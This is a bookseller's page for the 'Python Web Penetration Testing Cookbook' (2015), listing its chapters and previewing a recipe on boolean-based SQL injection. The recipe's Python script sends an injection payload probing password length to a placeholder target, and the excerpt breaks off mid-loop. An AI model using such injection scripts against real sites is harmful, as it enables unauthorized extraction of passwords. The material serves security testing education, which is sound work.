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Python Web Penetration Testing Cookbook

You're reading from   Python Web Penetration Testing Cookbook Over 60 indispensable Python recipes to ensure you always have the right code on hand for web application testing

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Product type Paperback
Published in Jun 2015
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ISBN-13 9781784392932
Length 224 pages
Edition 1st Edition
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Preface 1. Gathering Open Source Intelligence FREE CHAPTER 2. Enumeration 3. Vulnerability Identification 4. SQL Injection 5. Web Header Manipulation 6. Image Analysis and Manipulation 7. Encryption and Encoding 8. Payloads and Shells 9. Reporting Index

Exploiting Boolean SQLi

There are times when all you can get from a page is a yes or no. It's heartbreaking until you realize that that's the SQL equivalent of saying I LOVE YOU. All SQLi can be broken down into yes or no questions, depending on how patient you are.

We will create a script that takes a yes value and a URL and returns results based on a predefined attack string. I have provided an example attack string but this will change, depending on the system you are testing.

How to do it…

The following script is how yours should look:

import requests
import sys

yes = sys.argv[1]

i = 1
asciivalue = 1

answer = []
print “Kicking off the attempt”

payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}

while True:
  req = requests.post('<target url>' data=payload)
  lengthtest = req.text
  if yes in lengthtest:
    length = i
    break
  else:
    i =...
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